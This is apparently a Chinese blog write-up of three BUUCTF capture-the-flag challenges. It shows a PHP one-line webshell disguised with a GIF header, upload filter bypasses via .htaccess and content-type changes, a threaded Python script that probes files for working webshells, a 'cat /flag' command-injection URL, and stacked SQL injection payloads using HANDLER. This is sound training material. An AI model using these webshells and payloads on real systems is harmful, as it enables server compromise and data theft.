BUUCTF 14

知识点 

python编码知识(未学习)

SQL注入知识

HANDLER

handler column_name  open 语句打开一个表 ,使其可以使用

后续 handler column_name read 语句访问,该表对象未被其他会话共享,并且在会话调用handler column_name close 或会话终止之前不会关闭,详情可见

14-1 [MRCTF2020]你传你🐎呢

做题思路

尝试上传一句话木马 

GIF89a
<script language="php">eval($_POST['flag']);</script>

开头是图像的文件头,因为懒得 改了,尝试性的上传

抓包之后改后缀为phtml,

应该是过滤了,然后上传 .htaccess 文件解析图片马

AddType application/x-httpd-php  .jpg

发现不能上传,反应过来可以抓包改 content-type为image/jpeg

最后蚁剑连接http://35e73a9c-824d-4d27-82b4-294747d2b978.node3.buuoj.cn/upload/6243c9a5fa9d97fcc5fe2e59dd985434/w.jpg成功连接,然后找到flag

14-2  [强网杯 2019]高明的黑客

做题思路

根据提示 

于是 来连接 url 到 /www.tar.gz得到文件

打开压缩包,查看源码,发现了很多shell,我却没有找到flag,看WP

发现很多大佬都是利用python脚本找到有效 shell 

大佬脚本 需要在本地搭一个环境,php 7.0以上,否则会报语法错误!

import requests
import sys
import os
import threading
import time

url = "http://127.0.0.1/src/"
files = os.listdir("C://Users//Administrator//Desktop//www//src")
#print(files)

def GetGet(file):
	a = []
	f = open("C://Users//Administrator//Desktop//www//src//"+file,'r')
	content = f.readlines()
	for i in content:
		if i.find("$_GET['") > 0:
			start = i.find("$_GET['") + 7
			end = i.find("'",start)
			a.append(i[start:end])
	return a

def GetPost(file):
	a = []
	f = open("C://Users//Administrator//Desktop//www//src//"+file,'r')
	content = f.readlines()
	for i in content:
		if i.find("$_POST['") > 0:
			start = i.find("$_POST['") + 8
			end = i.find("'",start)
			a.append(i[start:end])
	return a

def Send(start,end):
	start = int(start)
	end = int(end)
	for i in range(start,end):
		i = files[i]
		get = GetGet(i)
		print("Try filename: %s"%i)
		for j in get:
			NewUrl = url+"%s?%s=%s"%(i,j,'echo "Success!!!"')
			s = requests.get(NewUrl)
			if("Success" in s.text):
				print("Success! Url:%s" % (NewUrl))
				break
		post = GetPost(i)
		for j in post:
			NewUrl = url+"%s"%(i)
			s = requests.post(NewUrl,data={j:"echo 'Success!!'"})
			if("Success" in s.text):
				print("Success! Post:%s" % (j))
				break

class myThread (threading.Thread):
    def __init__(self, threadID, name, counter):
        threading.Thread.__init__(self)
        self.threadID = threadID
        self.name = name
        self.counter = counter
    def run(self):               
        Send(self.name, self.counter)

for i in range(0,150):
	thread = myThread(i,i*20,(i+1)*20)
	thread.start()

payload

/xk0SzyKwfzw.php?Efa5BVG=%20cat%20/flag

 成功得到flag

 14-3 [GYCTF2020]Blacklist

做题思路

题目提示黑名单,并且疑似注入点,尝试注入,

 发现字节为2

发现了黑名单

想到之前的堆叠注入,尝试一下,1';show databases;show tables;#

得到库名和表名看到有个表FlagHere,查看一下有什么字段 

1';show columns from FlagHere; 

发现了flag,但是我接下来不知道该怎么走。。好气啊

嗯,找WP关于堆叠注入的发现由于禁用了prepare,rename 预处理方法,重命名方法都不行

好吧,直接看大佬payload:

1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#  

 嗯,成功得到flag

 

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值